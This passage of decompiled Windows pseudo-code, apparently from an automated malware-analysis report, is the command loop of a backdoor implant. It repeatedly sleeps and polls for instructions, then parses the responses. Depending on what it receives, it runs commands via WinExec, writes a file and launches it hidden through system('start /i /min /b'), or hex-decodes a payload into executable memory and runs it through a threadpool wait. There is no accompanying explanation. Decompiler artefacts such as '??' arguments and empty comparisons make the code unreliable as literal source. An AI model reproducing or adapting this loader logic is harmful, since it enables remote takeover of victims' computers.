					__eflags = _t1181 - _t1037 - 6;
					if(_t1181 - _t1037 < 6) {
						_v66468 = 0;
						_push(_v66468);
						_push(6);
						E100079E0(_t1007,  &_v66084, _t1263);
					} else {
						__eflags = _t1181 - 0x10;
						_t1293 =  >=  ? _v66084 :  &_v66084;
						_t1279 = ( >=  ? _v66084 :  &_v66084) + _t1037;
						_v66068 = _t1037 + 6;
						memmove(_t1279, ??, ??);
						_t1307 = _t1307 + 0xc;
						 *((char*)(_t1279 + 6)) = 0;
					}
				} else {
					_t1243 =  *((intOrPtr*)(_v66464 + 8));
					_t1137 =  *((intOrPtr*)(_v66464 + 8));
					_v66044 = 0;
					_v66040 = 7;
					_v66060 = 0;
					_t1294 = _t1137 + 2;
					do {
						_t947 =  *_t1137;
						_t1137 = _t1137 + 2;
					} while (_t947 != 0);
					_push(_t1137 - _t1294 >> 1);
					E100069D0(_t1007,  &_v66060, _t1263, _t1294, _t1243);
					_v8 = 0xc;
					_t1245 =  >=  ? _v66060 :  &_v66060;
					_v66092 = 0;
					_v66088 = 0xf;
					_v66108 = 0;
					_t1295 = ( >=  ? _v66060 :  &_v66060) + _v66044 * 2;
					_t1247 =  >=  ? _v66060 :  &_v66060;
					_v66468 =  >=  ? _v66060 :  &_v66060;
					E10007BE0( &_v66108, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2 - ( >=  ? _v66060 :  &_v66060) >> 1);
					_push(_v66484);
					E100080F0( &_v66108, _v66468, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2);
					_v8 = 0xd;
					_t955 = E100070C0( &_v66156,  &_v66108, "\t\t");
					_t1307 = _t1307 + 4;
					_v8 = 0xe;
					_t1249 = _t955;
					if( *((intOrPtr*)(_t955 + 0x14)) >= 0x10) {
						_t1249 =  *_t955;
					}
					_t1263 =  *(_t955 + 0x10);
					_t1279 = _v66064;
					_t1144 = _v66068;
					_push(_t1263);
					_push(_t1249);
					if(_t1263 > _v66064 - _t1144) {
						_v66468 = 0;
						_push(_v66468);
						_push(_t1263);
						E100079E0(_t1007,  &_v66084, _t1263);
					} else {
						_v66068 = _t1144 + _t1263;
						_t970 =  >=  ? _v66084 :  &_v66084;
						_t1279 = ( >=  ? _v66084 :  &_v66084) + _t1144;
						memmove(_t1279, ??, ??);
						_t1307 = _t1307 + 0xc;
						 *((char*)(_t1279 + _t1263)) = 0;
					}
					_v8 = 0xd;
					_t1250 = _v66136;
					if(_t1250 >= 0x10) {
						_t1148 = _v66156;
						_t1253 = _t1250 + 1;
						_t965 = _t1148;
						if(_t1253 >= 0x1000) {
							_t1148 =  *((intOrPtr*)(_t1148 - 4));
							_t1253 = _t1253 + 0x23;
							if(_t965 > 0x1f) {
								__imp___invalid_parameter_noinfo_noreturn();
							}
						}
						_push(_t1253);
						E10008291(_t965, _t1148);
						_t1307 = _t1307 + 8;
					}
					_v8 = 0xc;
					_t1251 = _v66088;
					if(_t1251 < 0x10) {
						L81:
						_v8 = 4;
						_t1181 = _v66040;
						if(_t1181 >= 8) {
							_t1146 = _v66060;
							_t1181 = 2 + _t1181 * 2;
							_t959 = _t1146;
							if(_t1181 >= 0x1000) {
								_t1146 =  *((intOrPtr*)(_t1146 - 4));
								_t1181 = _t1181 + 0x23;
								if(_t959 > 0x1f) {
									goto L84;
								}
							}
							goto L85;
						}
					} else {
						_t1147 = _v66108;
						_t1252 = _t1251 + 1;
						_t962 = _t1147;
						if(_t1252 < 0x1000) {
							L80:
							_push(_t1252);
							E10008291(_t962, _t1147);
							_t1307 = _t1307 + 8;
							goto L81;
						} else {
							_t1146 =  *((intOrPtr*)(_t1147 - 4));
							_t1181 = _t1252 + 0x23;
							_t959 = _t962 - _t1146 + 0xfffffffc;
							if(_t962 - _t1146 + 0xfffffffc > 0x1f) {
								L84:
								__imp___invalid_parameter_noinfo_noreturn();
								L85:
								_push(_t1181);
								E10008291(_t959, _t1146);
								_t1307 = _t1307 + 8;
							} else {
								goto L80;
							}
						}
					}
				}
				_t712 = _v66464;
				_t1357 = _t712;
				if(_t712 != 0) {
					NetApiBufferFree(_t712);
				}
				_t1308 = _t1307 - 0x18;
				_t1039 = _t1308;
				_v66484 = _t1308;
				 *(_t1039 + 0x10) = 0;
				 *(_t1039 + 0x14) = 0xf;
				 *_t1039 = 0;
				E10006CC0(_t1007, _t1039, _t1181, "KJKLO", 5);
				_t1309 = _t1308 - 0x18;
				_v8 = 0xf;
				E10005BC0(_t1309, _t1181,  &_v66084);
				_v8 = 4;
				_t716 = E100019B0( &_v66156, _t1181, _t1357);
				_t1310 = _t1309 + 0x30;
				E10005AA0( &_v66084, _t1263, _t1279, _t716);
				_t1182 = _v66136;
				if(_t1182 >= 0x10) {
					_t1136 = _v66156;
					_t1242 = _t1182 + 1;
					_t939 = _t1136;
					if(_t1242 >= 0x1000) {
						_t1136 =  *((intOrPtr*)(_t1136 - 4));
						_t1242 = _t1242 + 0x23;
						if(_t939 > 0x1f) {
							__imp___invalid_parameter_noinfo_noreturn();
						}
					}
					_push(_t1242);
					E10008291(_t939, _t1136);
					_t1310 = _t1310 + 8;
				}
				_push(_v66068);
				_t1184 =  >=  ? _v66084 :  &_v66084;
				_t718 = E10001470( &_v66156,  >=  ? _v66084 :  &_v66084);
				_t1311 = _t1310 + 4;
				E10005AA0( &_v66084, _t1263, _t1279, _t718);
				_t1185 = _v66136;
				if(_t1185 >= 0x10) {
					_t1135 = _v66156;
					_t1185 = _t1185 + 1;
					_t936 = _t1135;
					if(_t1185 >= 0x1000) {
						_t1135 =  *((intOrPtr*)(_t1135 - 4));
						_t1185 = _t1185 + 0x23;
						if(_t936 > 0x1f) {
							__imp___invalid_parameter_noinfo_noreturn();
						}
					}
					_push(_t1185);
					E10008291(_t936, _t1135);
					_t1311 = _t1311 + 8;
				}
				_v66116 = 0;
				_v66112 = 0xf;
				_v66132 = 0;
				E10006CC0(_t1007,  &_v66132, _t1185, 0x1000a2e5, 0);
				_v8 = 0x10;
				memset( &_v66456, 0, 0xb0);
				_t1312 = _t1311 + 8;
				E10005E00( &_v66456);
				_v8 = 0x11;
				_v66468 = 0;
				do {
					Sleep(0x5dc0); // executed
					_t1313 = _t1312 - 0x18;
					_v66476 = _t1313;
					E10005BC0(_t1313, _t1185,  &_v66084);
					_t1314 = _t1313 - 0x18;
					_v8 = 0x12;
					_t1048 = _t1314;
					 *(_t1048 + 0x10) = 0;
					 *(_t1048 + 0x14) = 0xf;
					 *_t1048 = 0;
					E10006CC0(_t1007, _t1048, _t1185, 0x1000a2e5, 0);
					_v8 = 0x11;
					_t727 = E10001DB0(_t1007,  &_v66156, _t1185, _t1263, _t1279); // executed
					_t1276 = _t727;
					_t1315 = _t1314 + 0x30;
					if( &_v66132 != _t1276) {
						_t1240 = _v66112;
						if(_t1240 < 0x10) {
							L107:
							_v66116 = 0;
							_v66112 = 0xf;
							_v66132 = 0;
							asm("movups xmm0, [esi]");
							asm("movups [ebp-0x10250], xmm0");
							asm("movq xmm0, [esi+0x10]");
							asm("movq [ebp-0x10240], xmm0");
							 *(_t1276 + 0x10) = 0;
							 *(_t1276 + 0x14) = 0xf;
							 *_t1276 = 0;
						} else {
							_t1134 = _v66132;
							_t1241 = _t1240 + 1;
							_t933 = _t1134;
							if(_t1241 < 0x1000) {
								L106:
								_push(_t1241);
								E10008291(_t933, _t1134);
								_t1315 = _t1315 + 8;
								goto L107;
							} else {
								_t1084 =  *((intOrPtr*)(_t1134 - 4));
								_t1185 = _t1241 + 0x23;
								_t784 = _t933 - _t1084 + 0xfffffffc;
								if(_t933 - _t1084 + 0xfffffffc > 0x1f) {
									goto L18;
								} else {
									goto L106;
								}
							}
						}
					}
					_t1186 = _v66136;
					if(_t1186 >= 0x10) {
						_t1133 = _v66156;
						_t1239 = _t1186 + 1;
						_t930 = _t1133;
						if(_t1239 < 0x1000) {
							L111:
							_push(_t1239);
							E10008291(_t930, _t1133);
							_t1315 = _t1315 + 8;
						} else {
							_t1084 =  *((intOrPtr*)(_t1133 - 4));
							_t1185 = _t1239 + 0x23;
							_t784 = _t930 - _t1084 + 0xfffffffc;
							if(_t930 - _t1084 + 0xfffffffc > 0x1f) {
								goto L18;
							} else {
								goto L111;
							}
						}
					}
					_v66092 = 0;
					_t1188 =  >=  ? _v66132 :  &_v66132;
					_t1050 =  >=  ? _v66132 :  &_v66132;
					_v66088 = 0xf;
					_v66108 = 0;
					_t1280 = _t1050 + 1;
					do {
						_t729 =  *_t1050;
						_t1050 = _t1050 + 1;
					} while (_t729 != 0);
					E10006CC0(_t1007,  &_v66108, _t1188, _t1188, _t1050 - _t1280);
					_v8 = 0x14;
					_t1276 = E100016E0( &_v66180,  &_v66108);
					if( &_v66132 != _t1276) {
						_t1237 = _v66112;
						if(_t1237 < 0x10) {
							L119:
							_v66116 = 0;
							_v66112 = 0xf;
							_v66132 = 0;
							asm("movups xmm0, [esi]");
							asm("movups [ebp-0x10250], xmm0");
							asm("movq xmm0, [esi+0x10]");
							asm("movq [ebp-0x10240], xmm0");
							 *(_t1276 + 0x10) = 0;
							 *(_t1276 + 0x14) = 0xf;
							 *_t1276 = 0;
						} else {
							_t1132 = _v66132;
							_t1238 = _t1237 + 1;
							_t927 = _t1132;
							if(_t1238 < 0x1000) {
								L118:
								_push(_t1238);
								E10008291(_t927, _t1132);
								_t1315 = _t1315 + 8;
								goto L119;
							} else {
								_t1084 =  *((intOrPtr*)(_t1132 - 4));
								_t1185 = _t1238 + 0x23;
								_t784 = _t927 - _t1084 + 0xfffffffc;
								if(_t927 - _t1084 + 0xfffffffc > 0x1f) {
									goto L18;
								} else {
									goto L118;
								}
							}
						}
					}
					_t1190 = _v66160;
					if(_t1190 >= 0x10) {
						_t1131 = _v66180;
						_t1236 = _t1190 + 1;
						_t924 = _t1131;
						if(_t1236 < 0x1000) {
							L123:
							_push(_t1236);
							E10008291(_t924, _t1131);
							_t1315 = _t1315 + 8;
						} else {
							_t1084 =  *((intOrPtr*)(_t1131 - 4));
							_t1185 = _t1236 + 0x23;
							_t784 = _t924 - _t1084 + 0xfffffffc;
							if(_t924 - _t1084 + 0xfffffffc > 0x1f) {
								goto L18;
							} else {
								goto L123;
							}
						}
					}
					_v8 = 0x11;
					_t1191 = _v66088;
					_v66164 = 0;
					_v66160 = 0xf;
					_v66180 = 0;
					if(_t1191 >= 0x10) {
						_t1130 = _v66108;
						_t1191 = _t1191 + 1;
						_t921 = _t1130;
						if(_t1191 < 0x1000) {
							L127:
							_push(_t1191);
							E10008291(_t921, _t1130);
							_t1315 = _t1315 + 8;
						} else {
							_t1084 =  *((intOrPtr*)(_t1130 - 4));
							_t1185 = _t1191 + 0x23;
							_t784 = _t921 - _t1084 + 0xfffffffc;
							_t1383 = _t921 - _t1084 + 0xfffffffc - 0x1f;
							if(_t921 - _t1084 + 0xfffffffc > 0x1f) {
								goto L18;
							} else {
								goto L127;
							}
						}
					}
					_t1316 = _t1315 - 0x18;
					_t1054 = _t1316;
					_v66476 = _t1316;
					 *(_t1054 + 0x10) = 0;
					 *(_t1054 + 0x14) = 0xf;
					 *_t1054 = 0;
					E10006CC0(_t1007, _t1054, _t1191, "KJKLO", 5);
					_t1317 = _t1316 - 0x18;
					_v8 = 0x16;
					E10005BC0(_t1317, _t1191,  &_v66132);
					_v8 = 0x11;
					_t1276 = E100019B0( &_v66156, _t1191, _t1383);
					_t1312 = _t1317 + 0x30;
					if( &_v66132 != _t1276) {
						_t1234 = _v66112;
						if(_t1234 < 0x10) {
							L133:
							_v66116 = 0;
							_v66112 = 0xf;
							_v66132 = 0;
							asm("movups xmm0, [esi]");
							asm("movups [ebp-0x10250], xmm0");
							asm("movq xmm0, [esi+0x10]");
							asm("movq [ebp-0x10240], xmm0");
							 *(_t1276 + 0x10) = 0;
							 *(_t1276 + 0x14) = 0xf;
							 *_t1276 = 0;
						} else {
							_t1129 = _v66132;
							_t1235 = _t1234 + 1;
							_t918 = _t1129;
							if(_t1235 < 0x1000) {
								L132:
								_push(_t1235);
								E10008291(_t918, _t1129);
								_t1312 = _t1312 + 8;
								goto L133;
							} else {
								_t1084 =  *((intOrPtr*)(_t1129 - 4));
								_t1185 = _t1235 + 0x23;
								_t784 = _t918 - _t1084 + 0xfffffffc;
								if(_t918 - _t1084 + 0xfffffffc > 0x1f) {
									goto L18;
								} else {
									goto L132;
								}
							}
						}
					}
					_t1192 = _v66136;
					if(_t1192 >= 0x10) {
						_t1128 = _v66156;
						_t1233 = _t1192 + 1;
						_t915 = _t1128;
						if(_t1233 < 0x1000) {
							L137:
							_push(_t1233);
							E10008291(_t915, _t1128);
							_t1312 = _t1312 + 8;
						} else {
							_t1084 =  *((intOrPtr*)(_t1128 - 4));
							_t1185 = _t1233 + 0x23;
							_t784 = _t915 - _t1084 + 0xfffffffc;
							if(_t915 - _t1084 + 0xfffffffc > 0x1f) {
								goto L18;
							} else {
								goto L137;
							}
						}
					}
					_push(E10005A50);
					_push(E10005BA0);
					_push(0x14);
					_push(0x18);
					_push( &_v66036);
					E10008832();
					_t1263 = 0;
					_v8 = 0x18;
					_v66472 = 0;
					_t1276 =  &_v66036;
					while(1) {
						_t740 = E10005940( &_v66132, "\r\n\t\t\n\r", _t1263);
						_v66476 = _t740;
						if(_t740 <= 0) {
							break;
						}
						_t1229 = _v66116;
						_v66044 = 0;
						_v66040 = 0xf;
						_v66060 = 0;
						if(_t1229 < _t1263) {
							E100070B0( &_v66132, _t1229);
							asm("int3");
							asm("int3");
							asm("int3"); // executed
							E10003B10(_t1007, _t1263, _t1276); // executed
							__eflags = 0;
							return 0;
						} else {
							_t1123 =  <  ? _t1229 - _t1263 : _t740 - _t1263;
							_t903 =  >=  ? _v66132 :  &_v66132;
							_t904 = ( >=  ? _v66132 :  &_v66132) + _t1263;
							E10006CC0(_t1007,  &_v66060, _t1229 - _t1263, ( >=  ? _v66132 :  &_v66132) + _t1263,  <  ? _t1229 - _t1263 : _t740 - _t1263);
							_v66480 = _v66480 | 0x00000001;
							if(_t1276 ==  &_v66060) {
								_t1231 = _v66040;
								__eflags = _t1231 - 0x10;
								if(_t1231 < 0x10) {
									goto L152;
								} else {
									_t1125 = _v66060;
									_t1232 = _t1231 + 1;
									_t909 = _t1125;
									__eflags = _t1232 - 0x1000;
									if(_t1232 < 0x1000) {
										L151:
										_push(_t1232);
										E10008291(_t909, _t1125);
										_t1312 = _t1312 + 8;
										goto L152;
									} else {
										_t1084 =  *((intOrPtr*)(_t1125 - 4));
										_t1185 = _t1232 + 0x23;
										_t784 = _t909 - _t1084 + 0xfffffffc;
										__eflags = _t909 - _t1084 + 0xfffffffc - 0x1f;
										if(_t909 - _t1084 + 0xfffffffc > 0x1f) {
											goto L18;
										} else {
											goto L151;
										}
									}
								}
							} else {
								_t1126 =  *(_t1276 + 0x14);
								if(_t1126 < 0x10) {
									L147:
									asm("movups xmm0, [ebp-0x10208]");
									 *(_t1276 + 0x10) = 0;
									 *(_t1276 + 0x14) = 0xf;
									 *_t1276 = 0;
									asm("movups [esi], xmm0");
									asm("movq xmm0, [ebp-0x101f8]");
									asm("movq [esi+0x10], xmm0");
									L152:
									_t1276 = _t1276 + 0x18;
									_t908 =  &(_v66472[1]);
									_t1263 = _v66476 + 6;
									_v66472 = _t908;
									if(_t908 <= 0x14) {
										continue;
									} else {
										break;
									}
								} else {
									_t912 =  *_t1276;
									_t1127 = _t1126 + 1;
									if(_t1127 < 0x1000) {
										L146:
										_push(_t1127);
										E10008291(_t912, _t912);
										_t1312 = _t1312 + 8;
										goto L147;
									} else {
										_t1185 =  *(_t912 - 4);
										_t1084 = _t1127 + 0x23;
										_t784 = _t912 - _t1185 + 0xfffffffc;
										if(_t912 - _t1185 + 0xfffffffc > 0x1f) {
											goto L18;
										} else {
											_t912 = _t1185;
											goto L146;
										}
									}
								}
							}
						}
						L310:
					}
					_t1265 = _v65852;
					_t1059 =  >=  ? _v65868 :  &_v65868;
					_t1193 = "true";
					_t1282 =  >  ? 4 : _t1265;
					_t1283 = ( >  ? 4 : _t1265) - 4;
					if(_t1283 < 0) {
						L156:
						if(_t1283 == 0xfffffffc) {
							goto L165;
						} else {
							goto L157;
						}
					} else {
						while( *_t1059 ==  *_t1193) {
							_t1059 = _t1059 + 4;
							_t1193 = _t1193 + 4;
							_t1283 = _t1283 - 4;
							if(_t1283 >= 0) {
								continue;
							} else {
								goto L156;
							}
							goto L166;
						}
						L157:
						_t897 =  *_t1059;
						if(_t897 !=  *_t1193) {
							L164:
							asm("sbb eax, eax");
							_t742 = _t897 | 0x00000001;
						} else {
							if(_t1283 == 0xfffffffd) {
								L165:
								_t742 = 0;
								__eflags = 0;
							} else {
								_t897 =  *((intOrPtr*)(_t1059 + 1));
								if(_t897 !=  *((intOrPtr*)(_t1193 + 1))) {
									goto L164;
								} else {
									if(_t1283 == 0xfffffffe) {
										goto L165;
									} else {
										_t897 =  *((intOrPtr*)(_t1059 + 2));
										if(_t897 !=  *((intOrPtr*)(_t1193 + 2))) {
											goto L164;
										} else {
											if(_t1283 == 0xffffffff) {
												goto L165;
											} else {
												_t897 =  *((intOrPtr*)(_t1059 + 3));
												if(_t897 ==  *((intOrPtr*)(_t1193 + 3))) {
													goto L165;
												} else {
													goto L164;
												}
											}
										}
									}
								}
							}
						}
					}
					L166:
					if(_t742 != 0) {
						L169:
						_t1061 =  >=  ? _v66036 :  &_v66036;
						_t1185 = "404";
						_t1279 =  >  ? 3 : _v66020;
						_t1267 = _t1279 - 4;
						if(_t1267 < 0) {
							L173:
							if(_t1267 == 0xfffffffc) {
								goto L182;
							} else {
								goto L174;
							}
						} else {
							while( *_t1061 ==  *_t1185) {
								_t1061 = _t1061 + 4;
								_t1185 = _t1185 + 4;
								_t1267 = _t1267 - 4;
								if(_t1267 >= 0) {
									continue;
								} else {
									goto L173;
								}
								goto L183;
							}
							L174:
							_t893 =  *_t1061;
							if(_t893 !=  *_t1185) {
								L181:
								asm("sbb eax, eax");
								_t744 = _t893 | 0x00000001;
							} else {
								if(_t1267 == 0xfffffffd) {
									L182:
									_t744 = 0;
									__eflags = 0;
								} else {
									_t893 =  *((intOrPtr*)(_t1061 + 1));
									if(_t893 !=  *(_t1185 + 1)) {
										goto L181;
									} else {
										if(_t1267 == 0xfffffffe) {
											goto L182;
										} else {
											_t893 =  *((intOrPtr*)(_t1061 + 2));
											if(_t893 !=  *((intOrPtr*)(_t1185 + 2))) {
												goto L181;
											} else {
												if(_t1267 == 0xffffffff) {
													goto L182;
												} else {
													_t893 =  *((intOrPtr*)(_t1061 + 3));
													if(_t893 ==  *((intOrPtr*)(_t1185 + 3))) {
														goto L182;
													} else {
														goto L181;
													}
												}
											}
										}
									}
								}
							}
						}
						L183:
						_t1263 = _v66020;
						if(_t744 != 0) {
							L186:
							_t1185 = "200";
							_t1063 =  >=  ? _v66036 :  &_v66036;
							_t1279 = _t1279 - 4;
							if(_t1279 < 0) {
								L190:
								if(_t1279 == 0xfffffffc) {
									goto L199;
								} else {
									goto L191;
								}
							} else {
								while( *_t1063 ==  *_t1185) {
									_t1063 = _t1063 + 4;
									_t1185 = _t1185 + 4;
									_t1279 = _t1279 - 4;
									if(_t1279 >= 0) {
										continue;
									} else {
										goto L190;
									}
									goto L200;
								}
								L191:
								_t891 =  *_t1063;
								if(_t891 !=  *_t1185) {
									L198:
									asm("sbb eax, eax");
									_t745 = _t891 | 0x00000001;
								} else {
									if(_t1279 == 0xfffffffd) {
										L199:
										_t745 = 0;
										__eflags = 0;
									} else {
										_t891 =  *((intOrPtr*)(_t1063 + 1));
										if(_t891 !=  *(_t1185 + 1)) {
											goto L198;
										} else {
											if(_t1279 == 0xfffffffe) {
												goto L199;
											} else {
												_t891 =  *((intOrPtr*)(_t1063 + 2));
												if(_t891 !=  *((intOrPtr*)(_t1185 + 2))) {
													goto L198;
												} else {
													if(_t1279 == 0xffffffff) {
														goto L199;
													} else {
														_t891 =  *((intOrPtr*)(_t1063 + 3));
														if(_t891 ==  *((intOrPtr*)(_t1185 + 3))) {
															goto L199;
														} else {
															goto L198;
														}
													}
												}
											}
										}
									}
								}
							}
							L200:
							if(_t745 != 0) {
								L277:
								 *0x1000d5c0 =  *0x1000d5c0 + 1;
								__eflags =  *0x1000d5c0;
								goto L278;
							} else {
								_t1444 = _t1263 - 3;
								if(_t1444 < 0 || _t1444 > 0) {
									goto L277;
								} else {
									if(_v65900 <= 0x64) {
										L231:
										if(_v65876 <= 0x64) {
											L259:
											if(_v65684 <= 0xa) {
												L267:
												_t1498 = _v65924 - 0xa;
												if(_v65924 <= 0xa) {
													L276:
													 *0x1000d5bc =  *0x1000d5bc + 1;
													goto L278;
												} else {
													E10005BC0( &_v66180, _t1185,  &_v65940);
													_v8 = 0x27;
													E10005BC0( &_v66156, _t1185,  &_v65748);
													_t1320 = _t1312 - 0x18;
													_v8 = 0x29;
													_v66476 = _t1320;
													E10005BC0(_t1320, _t1185,  &_v66180);
													_t1321 = _t1320 - 0x18;
													_v8 = 0x2a;
													E10005BC0(_t1321, _t1185,  &_v66156);
													_v8 = 0x29;
													E10001BA0(_t1007, _t1263, _t1279, _t1498);
													_t1312 = _t1321 + 0x30;
													_t782 =  >=  ? _v65724 :  &_v65724;
													WinExec( >=  ? _v65724 :  &_v65724, 0);
													_v8 = 0x27;
													_t1204 = _v66136;
													if(_t1204 < 0x10) {
														L272:
														_v8 = 0x18;
														_t1185 = _v66160;
														if(_t1185 < 0x10) {
															goto L276;
														} else {
															_t1084 = _v66180;
															_t1185 = _t1185 + 1;
															_t784 = _t1084;
															if(_t1185 < 0x1000) {
																L275:
																_push(_t1185);
																E10008291(_t784, _t1084);
																_t1312 = _t1312 + 8;
																goto L276;
															} else {
																_t1084 =  *((intOrPtr*)(_t1084 - 4));
																_t1185 = _t1185 + 0x23;
																if(_t784 > 0x1f) {
																	goto L18;
																} else {
																	goto L275;
																}
															}
														}
													} else {
														_t1089 = _v66156;
														_t1205 = _t1204 + 1;
														_t794 = _t1089;
														if(_t1205 < 0x1000) {
															L271:
															_push(_t1205);
															E10008291(_t794, _t1089);
															_t1312 = _t1312 + 8;
															goto L272;
														} else {
															_t1084 =  *((intOrPtr*)(_t1089 - 4));
															_t1185 = _t1205 + 0x23;
															_t784 = _t794 - _t1084 + 0xfffffffc;
															if(_t794 - _t1084 + 0xfffffffc > 0x1f) {
																goto L18;
															} else {
																goto L271;
															}
														}
													}
												}
											} else {
												E10005BC0( &_v66180, _t1185,  &_v65700);
												_v8 = 0x26;
												_t1270 = 0;
												_v66472 = 0;
												_push((_v66164 >> 1) + 1);
												_t1290 =  >=  ? _v66180 :  &_v66180;
												_v66460 = 0;
												_v66476 = E10008986(_t1185);
												_t804 = strtoul(_t1290,  &_v66460, 0x10);
												_t1322 = _t1312 + 0x10;
												if(_t1290 != _v66460) {
													do {
														 *(_v66476 + _t1270) = _t804;
														_t1291 = _v66460;
														_t1270 = _t1270 + 1;
														_t804 = strtoul(_t1291,  &_v66460, 0x10);
														_t1322 = _t1322 + 0xc;
													} while (_t1291 != _v66460);
													_v66472 = _t1270;
												}
												_t805 = CreateEventW(0, 0, 1, 0);
												_t1263 = _t805;
												_t1279 = VirtualAlloc(0, _v66472, 0x1000, 0x40);
												_t807 = memmove(_t1279, _v66476, _v66472);
												_t1312 = _t1322 + 0xc;
												__imp__CreateThreadpoolWait(_t1279, 0, 0);
												__imp__SetThreadpoolWait(_t807, _t805, 0);
												_v8 = 0x18;
												_t1185 = _v66160;
												if(_t1185 < 0x10) {
													goto L267;
												} else {
													_t1091 = _v66180;
													_t1185 = _t1185 + 1;
													_t808 = _t1091;
													if(_t1185 < 0x1000) {
														L266:
														_push(_t1185);
														E10008291(_t808, _t1091);
														_t1312 = _t1312 + 8;
														goto L267;
													} else {
														_t1084 =  *((intOrPtr*)(_t1091 - 4));
														_t1185 = _t1185 + 0x23;
														_t784 = _t808 - _t1084 + 0xfffffffc;
														if(_t808 - _t1084 + 0xfffffffc > 0x1f) {
															goto L18;
														} else {
															goto L266;
														}
													}
												}
											}
										} else {
											_t1279 = E100013A0( &_v66208, 0xb);
											_v8 = 0x1f;
											_t813 = E100070C0( &_v66180,  &_v66232, "\\");
											_v8 = 0x20;
											_t814 = E10007350( &_v66156, _t813, _t812);
											_t1312 = _t1312 + 8;
											_t1271 = _t814;
											_v8 = 0x21;
											_t1209 =  *((intOrPtr*)(_t1271 + 0x14));
											_t1096 =  *((intOrPtr*)(_t1271 + 0x10));
											if(_t1209 - _t1096 < 4) {
												_v66484 = 0;
												_t1096 = _t1271;
												_t1263 = E100079E0(_t1007, _t1096, _t1271, 4, _v66484, ".txt", 4);
											} else {
												 *((intOrPtr*)(_t1271 + 0x10)) = _t1096 + 4;
												_t847 = _t1271;
												if(_t1209 >= 0x10) {
													_t847 =  *_t1271;
												}
												_t1279 = _t847 + _t1096;
												memmove(_t1279, ".txt", 4);
												_t1312 = _t1312 + 0xc;
												 *((char*)(_t1279 + 4)) = 0;
											}
											_v66480 = _v66480 | 0x00000008;
											_v66044 = 0;
											_v66040 = 0;
											asm("movups xmm0, [edi]");
											asm("movups [ebp-0x10208], xmm0");
											asm("movq xmm0, [edi+0x10]");
											asm("movq [ebp-0x101f8], xmm0");
											 *(_t1263 + 0x10) = 0;
											 *(_t1263 + 0x14) = 0xf;
											 *_t1263 = 0;
											_v8 = 0x23;
											_t1210 = _v66136;
											if(_t1210 < 0x10) {
												L241:
												_v66140 = 0;
												_v66136 = 0xf;
												_v66156 = 0;
												_v8 = 0x24;
												_t1211 = _v66160;
												if(_t1211 < 0x10) {
													L245:
													_v66164 = 0;
													_v66160 = 0xf;
													_v66180 = 0;
													_v8 = 0x25;
													_t1212 = _v66188;
													if(_t1212 < 0x10) {
														L249:
														_t819 =  >=  ? _v66060 :  &_v66060;
														_v66192 = 0;
														_v66188 = 0xf;
														_v66208 = 0;
														E10005C90(_t1007,  &_v66456, _t1263, _t1279,  >=  ? _v66060 :  &_v66060, 0x22);
														_t822 =  >=  ? _v65892 :  &_v65892;
														__imp__?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z( >=  ? _v65892 :  &_v65892, _v65876, 0, _t1096);
														_t823 = E10006FF0( &_v66452);
														if(_t823 == 0) {
															__imp__?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z(2, _t823);
														}
														E100074F0( &_v66108, "start /i /min /b start /i /min /b start /i /min /b ",  &_v66060);
														_t827 =  >=  ? _v66108 :  &_v66108;
														system( >=  ? _v66108 :  &_v66108);
														_t1214 = _v66088;
														_t1312 = _t1312 + 8;
														if(_t1214 < 0x10) {
															L255:
															_v8 = 0x18;
															_t1185 = _v66040;
															_v66092 = 0;
															_v66088 = 0xf;
															_v66108 = 0;
															if(_t1185 < 0x10) {
																goto L259;
															} else {
																_t1101 = _v66060;
																_t1185 = _t1185 + 1;
																_t829 = _t1101;
																if(_t1185 < 0x1000) {
																	L258:
																	_push(_t1185);
																	E10008291(_t829, _t1101);
																	_t1312 = _t1312 + 8;
																	goto L259;
																} else {
																	_t1084 =  *((intOrPtr*)(_t1101 - 4));
																	_t1185 = _t1185 + 0x23;
																	_t784 = _t829 - _t1084 + 0xfffffffc;
																	if(_t829 - _t1084 + 0xfffffffc > 0x1f) {
																		goto L18;
																	} else {
																		goto L258;
																	}
																}
															}
														} else {
															_t1102 = _v66108;
															_t1215 = _t1214 + 1;
															_t832 = _t1102;
															if(_t1215 < 0x1000) {
																L254:
																_push(_t1215);
																E10008291(_t832, _t1102);
																_t1312 = _t1312 + 8;
																goto L255;
															} else {
																_t1084 =  *((intOrPtr*)(_t1102 - 4));
																_t1185 = _t1215 + 0x23;
																_t784 = _t832 - _t1084 + 0xfffffffc;
																if(_t832 - _t1084 + 0xfffffffc > 0x1f) {
																	goto L18;
																} else {
																	goto L254;
																}
															}
														}
													} else {
														_t1096 = _v66208;
														_t1216 = _t1212 + 1;
														_t837 = _t1096;
														if(_t1216 < 0x1000) {
															L248:
															_push(_t1216);
															E10008291(_t837, _t1096);
															_t1312 = _t1312 + 8;
															goto L249;
														} else {
															_t1084 =  *((intOrPtr*)(_t1096 - 4));
															_t1185 = _t1216 + 0x23;
															_t784 = _t837 - _t1084 + 0xfffffffc;
															if(_t837 - _t1084 + 0xfffffffc > 0x1f) {
																goto L18;
															} else {
																goto L248;
															}
														}
													}
												} else {
													_t1096 = _v66180;
													_t1217 = _t1211 + 1;
													_t840 = _t1096;
													if(_t1217 < 0x1000) {
														L244:
														_push(_t1217);
														E10008291(_t840, _t1096);
														_t1312 = _t1312 + 8;
														goto L245;
													} else {
														_t1084 =  *((intOrPtr*)(_t1096 - 4));
														_t1185 = _t1217 + 0x23;
														_t784 = _t840 - _t1084 + 0xfffffffc;
														if(_t840 - _t1084 + 0xfffffffc > 0x1f) {
															goto L18;
														} else {
															goto L244;
														}
													}
												}
											} else {
												_t1096 = _v66156;
												_t1218 = _t1210 + 1;
												_t843 = _t1096;
												if(_t1218 < 0x1000) {
													L240:
													_push(_t1218);
													E10008291(_t843, _t1096);
													_t1312 = _t1312 + 8;
													goto L241;
												} else {
													_t1084 =  *((intOrPtr*)(_t1096 - 4));
													_t1185 = _t1218 + 0x23;
													_t784 = _t843 - _t1084 + 0xfffffffc;
													if(_t843 - _t1084 + 0xfffffffc > 0x1f) {
														goto L18;
													} else {
														goto L240;
													}
												}
											}
										}
									} else {
										_t408 = _t745 + 0xb; // 0xb
										_t1272 = E100013A0( &_v66156, _t408);
										_v8 = 0x19;
										_t1220 =  *((intOrPtr*)(_t1272 + 0x14));
										_t1106 =  *((intOrPtr*)(_t1272 + 0x10));
										if(_t1220 - _t1106 < 4) {
											_v66488 = 0;
											_t1106 = _t1272;
